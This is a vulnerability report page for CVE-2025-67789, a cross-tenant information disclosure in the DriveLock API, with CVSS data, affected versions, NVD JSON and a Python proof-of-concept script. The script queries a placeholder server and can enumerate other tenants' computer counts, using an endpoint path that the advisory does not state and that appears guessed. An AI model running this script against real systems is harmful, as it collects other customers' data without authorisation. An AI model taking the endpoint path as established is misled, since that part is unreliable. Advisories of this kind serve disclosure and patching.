Security Vulnerability Report
中文
CVE-2025-67789 CVSS 5.3 MEDIUM

CVE-2025-67789

Published: 2025-12-17 21:16:16
Last Modified: 2025-12-18 19:42:05

Description

An issue was discovered in DriveLock 24.1 before 24.1.6, 24.2 before 24.2.7, and 25.1 before 25.1.5. Authenticated users can retrieve the computer count of other DriveLock tenants via the DriveLock API.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:* - VULNERABLE
DriveLock 24.1 < 24.1.6
DriveLock 24.2 < 24.2.7
DriveLock 25.1 < 25.1.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-67789 PoC - DriveLock Cross-Tenant Information Disclosure # Target: DriveLock API endpoints # Description: Authenticated users can retrieve computer count of other tenants TARGET_URL = "https://target-drivelock-server.com" ATTACKER_TOKEN = "your-authenticated-user-token" def exploit_tenant_computer_count(target_tenant_id): """ Exploit CVE-2025-67789 to retrieve computer count from another tenant """ headers = { 'Authorization': f'Bearer {ATTACKER_TOKEN}', 'Content-Type': 'application/json' } # Target another tenant's computer count endpoint endpoint = f"{TARGET_URL}/api/v1/tenants/{target_tenant_id}/computers/count" try: response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: data = response.json() computer_count = data.get('count', 'Unknown') print(f"[+] Success! Tenant {target_tenant_id} has {computer_count} computers") return computer_count else: print(f"[-] Failed to retrieve data for tenant {target_tenant_id}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None def enumerate_tenants(start_id=1, end_id=100): """ Enumerate multiple tenant IDs to gather computer counts """ results = {} for tenant_id in range(start_id, end_id + 1): count = exploit_tenant_computer_count(str(tenant_id)) if count: results[str(tenant_id)] = count return results if __name__ == "__main__": print("CVE-2025-67789 DriveLock Information Disclosure PoC") print("=" * 60) # Test single tenant target_tenant = "1001" exploit_tenant_computer_count(target_tenant) # Or enumerate multiple tenants # results = enumerate_tenants(1001, 1050) # print(json.dumps(results, indent=2))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67789", "sourceIdentifier": "[email protected]", "published": "2025-12-17T21:16:16.073", "lastModified": "2025-12-18T19:42:04.900", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in DriveLock 24.1 before 24.1.6, 24.2 before 24.2.7, and 25.1 before 25.1.5. Authenticated users can retrieve the computer count of other DriveLock tenants via the DriveLock API."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.1", "versionEndExcluding": "24.1.6", "matchCriteriaId": "540852DA-B4D8-400B-8147-35960DD28869"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.2", "versionEndExcluding": "24.2.7", "matchCriteriaId": "543CFF8B-6105-4B74-B810-94CFF0F429E2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:*", "versionStartIncluding": "25.1", "versionEndExcluding": "25.1.5", "matchCriteriaId": "BC33832C-D3F8-44BA-9385-DFAD7E4F1C12"}]}]}], "references": [{"url": "https://drivelock.help/versions/current/web/en/releasenotes/Content/ReleaseNotes_DriveLock/SecurityBulletins/25-004-DESInfoDisclosure.htm", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}